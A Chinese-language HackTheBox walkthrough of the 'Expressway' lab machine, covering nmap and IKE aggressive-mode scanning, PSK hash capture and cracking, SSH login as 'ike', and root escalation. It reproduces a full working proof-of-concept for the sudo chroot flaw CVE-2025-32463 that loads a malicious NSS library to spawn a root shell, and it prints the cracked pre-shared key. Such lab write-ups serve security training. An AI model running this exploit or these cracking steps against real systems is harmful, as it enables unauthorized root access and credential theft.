HTB-Expressway

Machine Info

NameOSDifficulty
ExpresswayLinuxEasy

Nmap

┌──(ehl@leaner)-[~/Desktop/CyberSecurity/HTB/Expressway]                                      
└─$ nmap -sS -p- -T4 10.129.7.15                                                              
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-29 16:03 +0000                             
Warning: 10.129.7.15 giving up on port because retransmission cap hit (6).                    
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0                                       
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0                                       
Nmap scan report for 10.129.7.15                                                              
Host is up (1.1s latency).                                                                    
Not shown: 63536 closed tcp ports (reset), 1998 filtered tcp ports (no-response)              
PORT   STATE SERVICE                                                                          
22/tcp open  ssh                                                                              
                                                                                              
Nmap done: 1 IP address (1 host up) scanned in 2219.96 seconds 
Bash

扫描TCP协议的所有端口只发现了一个22端口在开放,服务为ssh。

下面扫描UDP协议的端口。因为UDP扫描速度非常慢,所以这里只扫描常见的1000个端口。

┌──(ehl@leaner)-[~/Desktop/CyberSecurity/HTB/Expressway]                                      
└─$ nmap -sU 10.129.7.15                                                                      
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-29 17:08 +0000                             
Nmap scan report for 10.129.7.15                                                              
Host is up (1.1s latency).                                                                    
Not shown: 996 closed udp ports (port-unreach)                                                
PORT     STATE         SERVICE                                                                
68/udp   open|filtered dhcpc                                                                  
69/udp   open|filtered tftp                                                                   
500/udp  open          isakmp                                                                 
4500/udp open|filtered nat-t-ike                                                              
                                                                                              
Nmap done: 1 IP address (1 host up) scanned in 1023.87 seconds 
Bash

再详细扫描一下这个500端口。

┌──(ehl@leaner)-[~/Desktop/CyberSecurity/HTB/Expressway]                                      
└─$ nmap -sU -p500 -A 10.129.7.15                                                             
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-29 17:54 +0000                             
Nmap scan report for 10.129.7.15                                                              
Host is up (0.45s latency).                                                                   
                                                                                              
PORT    STATE SERVICE VERSION                                                                 
500/udp open  isakmp?                                                                         
| ike-version:                                                                                
|   attributes:                                                                               
|     XAUTH                                                                                   
|_    Dead Peer Detection v1.0                                                                
Too many fingerprints match this host to give specific OS details                             
Network Distance: 3 hops                                                                      
                                                                                              
TRACEROUTE (using port 443/tcp)                                                               
HOP RTT       ADDRESS                                                                         
1   0.05 ms   10.8.6.1                                                                        
2   922.92 ms 10.10.16.1                                                                      
3   958.92 ms 10.129.7.15                                                                     
                                                                                              
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                                                                       
Nmap done: 1 IP address (1 host up) scanned in 157.24 seconds 
Bash

探测出存在isakmp服务。

按照惯例,修改一下hosts记录,这个相当于是一个本地的DNS,可以将域名和ip地址对应起来,优先级要比DNS解析高。

┌──(erhui㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.129.7.15     expressway.htb
Bash

IPsec (Internet Protocol Security)

IPsec是一个用于在IP网络中进行加密和认证的协议套件,主要用于保护数据传输,确保数据在传输过程中是机密的、完整的且认证过的。它广泛应用于VPN(虚拟专用网络)远程访问站点间连接等安全通信场景。

简单来说,IPsec是保障通过互联网或其他网络传输的IP数据包安全的一组协议

功能

  1. 数据加密(Confidentiality)
    加密数据,防止数据在传输过程中被窃听。
  2. 数据完整性(Integrity)
    确保数据没有在传输中被篡改。
  3. 认证(Authentication)
    验证发送方和接收方的身份,确保数据确实是从指定来源发送的。
  4. 防重放攻击(Replay Protection)
    防止攻击者截取并重放之前传输的数据包。

工作原理

协议

IPsec的工作基于两个协议:

  1. AHAuthentication Header, 认证头
    AH提供数据包认证数据完整性检查,但不进行加密。它确保数据没有被篡改,且验证通信双方的身份。
  2. ESPEncapsulating Security Payload, 封装安全有效载荷
    ESP提供数据加密,并且在需要时也提供数据认证。它对数据进行加密保护,防止数据泄露。

模式

IPsec工作时可以有两种不同的模式:

  1. 传输模式(Transport Mode)
    仅加密数据部分,IP头部不加密,这种模式主要用于端到端通信。常见于点对点VPN
  2. 隧道模式(Tunnel Mode)
    对整个数据包进行加密,包括IP头部。这种模式用于站点到站点的VPN,通常应用在网络网关之间,例如连接两个公司分支的VPN。

应用

  1. VPN(虚拟专用网络)
  2. 站点间连接。
  3. 安全的IP通信。
  4. 防火墙和网关保护。

相关

  1. SA(Security Association)
    • 安全关联(SA)是通信双方就加密和认证规则所达成的协议。
    • 它是IPsec配置的核心,定义了双方的加密算法、密钥等。
  2. ISAKMP(Internet Security Association and Key Management)
    • 用于协商并管理安全关联(SA)和密钥交换,是IPsec VPN中用于建立安全连接的协议。
    • ISAKMP协调双方进行认证和密钥交换,生成共享密钥。
  3. IKE(Intenet key Exchange)
    • IKE协议是ISAKMP的一种实现,通常有IKEv1IKEv2两个版本。
    • 用于在两个对等端之间协商加密算法和密钥,完成加密通信的初始化。

IPsec vs. SSL/TLS

  • IPsec主要用于IP层,是一种透明的加密协议,保护整个网络层的通信,通常用于站点间或远程访问VPN。
  • SSL/TLS主要用于应用层,通常用于WEB安全(HTTPS),更专注于加密应用协议(如HTTP,FTP,SMTP等)。

IPsec更底层,SSL/TLS更面向应用。

ISAKMP (Internet Security Association and Key Management)

介绍

ISAKMP是一种用于VPN(特别是IPsec)里进行密钥交换和建立安全连接的协议。

它本身不加密数据,而是用于:

  • 协商加密算法
  • 交换密钥
  • 建立“安全关联”(Security Associations, 简称SA)
  • 管理会话声明周期

简单说:ISAKMP是用于协商VPN加密和密钥的“握手协议”。

ISAKMP在VPN里做什么?

在建立一个IPsec VPN之前,两端必须:

  1. 确认双方身份(比如预共享密钥PSK或证书)
  2. 选择一致的加密算法(如AES、3DES)
  3. 生成共享密钥(DH密钥交换)
  4. 建立安全通道

ISAKMP就负责上面这些。它通常与IKE(Internet Key Exchange)一起使用。

常见的IKEv1IKEv2就是基于ISAKMP的。

Ike-scan

简单介绍

ike-scan是一个专门用于识别并枚举IPsec VPN设备的IKE服务的安全评估工具。

它通过向UDP/500(或其他端口)发送IKE报文,分析响应来确定:

  • 是否存在IKE服务(IPsec VPN网关探测
  • IKEv1支持的加密算法/认证算法/DH组(Diffie-Hellman算法,一种密钥交换协议)
  • IKE Aggressive Mode是否开启
  • VPN网关的“指纹”(Fingerprinting)
  • 某些实现可泄露用户ID

主要用于渗透测试人员在合法授权下验证VPN设备是否存在弱配置,如Aggressive Mode。

使用

┌──(ehl@leaner)-[~/Desktop/CyberSecurity/HTB/Expressway]                                      
└─$ ike-scan expressway.htb                                                                   
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)             
10.129.7.82     Main Mode Handshake returned HDR=(CKY-R=d064532ad002a787) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)                              
                                                                                              
Ending ike-scan 1.9.6: 1 hosts scanned in 0.051 seconds (19.78 hosts/sec).  1 returned handshake; 0 returned notify
Bash

结果说明:

  • Main Mode Handshake:表示通过Main Mode成功进行握手。
  • HDR=(CKY-R=d064532ad002a787):显示了握手中返回的标头信息,包含了会话的一个标识符。
  • Enc=3DES:表示加密使用的是3DES算法。
  • Hash=SHA1:表示哈希算法使用SHA1。
  • Group=2:modp1024:表示使用的是1024位的Diffie-Hellman Group 2。
  • Auth=PSK:表示身份验证方式是预共享密钥(PSK)。
  • LifeType=Seconds LifeDuration=28800:表示这个链接的生命周期是28800秒(8小时)。
  • VID=09002689dfd6b712(XAUTH):这是一个Vendor ID,用于表示支持XAUTH(扩展身份验证)功能的客户端。
  • VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0):表示支持Dead Peer Detection (DPD)v1.0,用于检测和管理死掉的对等节点。
┌──(ehl@leaner)-[~/Desktop/CyberSecurity/HTB/Expressway]                                      
└─$ ike-scan -A expressway.htb                                                             
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)             
10.129.7.82     Aggressive Mode Handshake returned                                            
        HDR=(CKY-R=a7ffeb784f113f94)                                                          
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) 
        KeyExchange(128 bytes)                                                                
        Nonce(32 bytes)                                                                       
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)                                       
        VID=09002689dfd6b712 (XAUTH)                                                          
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)                       
        Hash(20 bytes)                                                                        
                                                                                              
Ending ike-scan 1.9.6: 1 hosts scanned in 1.378 seconds (0.73 hosts/sec).  1 returned handshake; 0 returned notify    
Bash

参数说明:

  • -A:使用Aggressive Mode握手

结果说明:

  • 显然根据Aggressive Mode Handshake returned,明显Aggressive Mode成功。
  • 得到一个用户名ike@expressway.htb

这里我们需要得到hash具体内容。

┌──(ehl@leaner)-[~/Desktop/CyberSecurity/HTB/Expressway]                                      
└─$ ike-scan --pskcrack -A --id=ike@expressway.htb expressway.htb                             
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)             
10.129.238.52   Aggressive Mode Handshake returned HDR=(CKY-R=6c42f5dbcf539f99) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)                
                                                                                              
IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):                     
d3b36a137745a3a1eec0b82c393368eb421a27647db09f1e067423bdbf32bc90c61d96bc46a0b49a61c6b5b69417225ad3b37341830b0a0e2504d37f04d31453b67442643ee6099ba7eb7f0977287afb8fe3afb4bb32439167769c2401b606ce1196be56a4d52a0d795d5cd77da7d8038e6b4d4de020dda070151f79fc6f1134:3322b6c428089345f3c4487fe777f394187d7375538cbc254f272cc17e16229d77c8b36e03e773ae3ee4e7377c92d13d6f514d14ea11fc0ac5209275ec9d7f580379794464d41f0abfdc8b13a34b69d3fae6c8ba86ae6dec15db3cacc44ca9b47e1b791d1f0d83218518818589230d714e54c7f60f3a3be9fb3d1d753356ac62:6c42f5dbcf539f99:565b5b88b53cc951:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:e0eb930f4c3777cf7be4926fc04beebcbdb3b713:ad0b472b047aab7e4c6f832be96e666eac0b2a99a464f692c7962f8fa969a9ba:b2d4da6175a8c901bce68290607e84e8b326e84d                                                                    
Ending ike-scan 1.9.6: 1 hosts scanned in 0.075 seconds (13.38 hosts/sec).  1 returned handshake; 0 returned notify        
Bash

参数说明:

  • –pskcrack:显示预共享密钥。

将上面的PSK保存到文件中。

psk-crack

psk-crack是一个专门用来解密PSK(预共享密钥)的工具。下面使用该工具对PSK进行解密。

┌──(ehl@leaner)-[~/Desktop/CyberSecurity/HTB/Expressway]                                      
└─$ psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt                                        
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)              
Running in dictionary cracking mode                                                           
key "xxxxxxxxxxxxxxxxxxxxxxx" matches SHA1 hash 38c1c28b5ec34ea9e34a29edde658e9deaf2013d    
Ending psk-crack: 8045040 iterations in 6.682 seconds (1203981.06 iterations/sec) 
Bash

参数:

  • -d:指定密码字典。

结果:

获得明文密钥。

strongswan

strongSwan 是一个开源的 IPsec VPN 解决方案。它主要用于在互联网上建立安全的加密通道(VPN隧道)。

/etc/ipsec.conf文件的配置如下,

# 基本配置
config setup
    # 调试等级设置,生产环境建议设为 0 或 1
    charondebug="ike 2, knl 2, cfg 2"
    # 是否允许客户端使用多个连接,yes 表示允许
    uniqueids=yes

conn expressway
    left=10.10.16.6
    leftid=10.10.16.6  # 尝试使用 IP 地址而非 FQDN(各种格式都试过了)
    authby=secret

    right=10.129.238.52
    rightid=10.129.238.52  # 同样使用 IP 地址(各种格式都试过了)
    auto=start

    ike=3des-sha1-modp1024!
    esp=3des-sha1-modp1024!

    type=transport
    keyexchange=ikev1
    ikelifetime=28800s
    keylife=3600s
Bash

/etc/ipsec.secrets文件配置如下

: PSK "freakingrockstarontheroad"
Bash

经过反复检查,端口已开,配置文件没有问题,发现无论如何也无法连接。

root@Stronger:~# sudo ipsec restart
Stopping strongSwan IPsec...
Starting strongSwan 5.9.1 IPsec [starter]...

root@Stronger:~# sudo ipsec up expressway
initiating Main Mode IKE_SA expressway[2] to 10.129.238.52
generating ID_PROT request 0 [ SA V V V V V ]
sending packet: from 10.10.16.6[500] to 10.129.238.52[500] (176 bytes)
received packet: from 10.129.238.52[500] to 10.10.16.6[500] (156 bytes)
parsed ID_PROT response 0 [ SA V V V V ]
received XAuth vendor ID
received DPD vendor ID
received FRAGMENTATION vendor ID
received NAT-T (RFC 3947) vendor ID
selected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024
generating ID_PROT request 0 [ KE No NAT-D NAT-D ]
sending packet: from 10.10.16.6[500] to 10.129.238.52[500] (244 bytes)
received packet: from 10.129.238.52[500] to 10.10.16.6[500] (244 bytes)
parsed ID_PROT response 0 [ KE No NAT-D NAT-D ]
generating ID_PROT request 0 [ ID HASH N(INITIAL_CONTACT) ]
sending packet: from 10.10.16.6[500] to 10.129.238.52[500] (100 bytes)
received packet: from 10.129.238.52[500] to 10.10.16.6[500] (84 bytes)
parsed INFORMATIONAL_V1 request 246454754 [ HASH N(AUTH_FAILED) ]
received AUTHENTICATION_FAILED error notify
establishing connection 'expressway' failed
Bash

User

我们根据ike@expressway.htb不难观察到,ssh连接主机的命令是ssh 用户名@主机名/主机地址,可以将ike看做用户名,明文密钥作为密码进行ssh登录。

┌──(ehl@leaner)-[~]
└─$ ssh ike@expressway.htb                                                               
ike@expressway.htb's password: 
Last login: Wed Sep 17 12:19:40 BST 2025 from 10.10.14.64 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Feb 22 13:23:14 2026 from 10.10.16.6  
Bash

root

那么我们使用linpeas权限审计脚本或者使用find命令对靶场具有SUID权限的文件进行查看。发现sudo的位置比较奇怪,一般是在/usr/bin

╔══════════╣ SUID - Check easy privesc, exploits and write perms
 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
strace Not Found
-rwsr-xr-x 1 root root 1.5M Aug 14  2025 /usr/sbin/exim4
-rwsr-xr-x 1 root root 1023K Aug 29 15:18 /usr/local/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
Bash

这里我们看一下版本信息。

ike@expressway:/tmp$ sudo -V
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
Bash

发现相关漏洞CVE-2025-32463

使用下面修改的命令即可提权成功(修改了第5行和第27行,不使用${STAGE?})。

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 ? Sudo EoP Exploit PoC by Rich Mirch
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) || { echo "Failed to create temp directory"; exit 1; }
cd "${STAGE}" || { echo "Failed to change directory"; exit 1; }

cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c || { echo "Compilation failed"; exit 1; }

echo "woot!"
sudo -R woot woot || { echo "sudo command failed"; exit 1; }
rm -rf "${STAGE}"
Bash
ike@expressway:/tmp$ ./e.sh
woot!
root@expressway:/# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)
Bash

总结

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇